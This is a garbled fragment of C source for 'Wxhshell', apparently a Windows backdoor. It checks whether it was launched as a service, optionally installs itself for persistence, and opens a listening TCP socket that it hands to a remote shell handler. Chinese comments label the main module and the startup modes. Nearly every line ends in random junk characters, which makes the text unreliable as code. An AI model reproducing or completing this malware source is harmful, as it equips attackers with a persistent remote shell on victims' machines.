ULONG InheritedFromUniqueProcessId; &VcV$8k
} PROCESS_BASIC_INFORMATION; 1i] ^{;]
FCn_^l)EA
PROCNTQSIP NtQueryInformationProcess; Tb-F]lg$
-`t^7pr
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; snikn&
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i 3SHg\~Z
yCX?!E;La
HANDLE hProcess; ,v&(Y Od
PROCESS_BASIC_INFORMATION pbi; 8JD,u
<Ok3FE.K
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o8vug$=Z
if(NULL == hInst ) return 0; IqGdfL6[(
A +)`ZTuO
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2Wb]4-
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F}qc0
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Hq 188<
.GcKa024
if (!NtQueryInformationProcess) return 0; as_PoCoss
C6yuX\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eR" <33{
if(!hProcess) return 0; ;({W#Wa
NgCvVWto
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1!gbTeVlY
SZ$Kz n
CloseHandle(hProcess); *WT`o>
>dG[G>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N.{D$"
if(hProcess==NULL) return 0; 6MkP |vr6
w+{LAS
HMODULE hMod; \'bzt"f$j
char procName[255]; O0y_Lm\
unsigned long cbNeeded; 09Cez\0
0K2`-mL
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C2Tyoza
IN G@B#Cl
CloseHandle(hProcess); ?3xzd P
jalg5`PU0
if(strstr(procName,"services")) return 1; // 以服务启动 @|%2f@h
t`mV\)fa
return 0; // 注册表启动 I
2|Bg,e
} &JI8]JmU)
r$~HfskeI
// 主模块 6i~WcAs
int StartWxhshell(LPSTR lpCmdLine) [zM-^
{ Ez=Olbk
SOCKET wsl; k)Qtfj}uij
BOOL val=TRUE; 9*?oYm;dX
int port=0; d<N:[Y\4l
struct sockaddr_in door; N*&1GT#9
xK\d4"
if(wscfg.ws_autoins) Install(); e@OX_t_
9
|vLwQ
port=atoi(lpCmdLine); \} :PLCKT
5o8EC"
0
if(port<=0) port=wscfg.ws_port; d{7+w/Zi
tC9n
k5~
WSADATA data; Oo%d]8W
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3kMf!VL
cpJ|w3xB
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 7x4PaX(
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t1y4 7fX6
door.sin_family = AF_INET; J
S_]FsxD
door.sin_addr.s_addr = inet_addr("127.0.0.1"); #?9;uy<j.q
door.sin_port = htons(port); *ppffz
xX4N4vb
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "!%l/_p?
closesocket(wsl); nQ,HMXj
return 1; hFl^\$Re
} 9 j9TPyC/2
MFAH%Z$
if(listen(wsl,2) == INVALID_SOCKET) { n#OB%@]<V
closesocket(wsl); J6FV]Gpv
return 1; ?m?::R H
} r|Tcfk]%
Wxhshell(wsl); K&K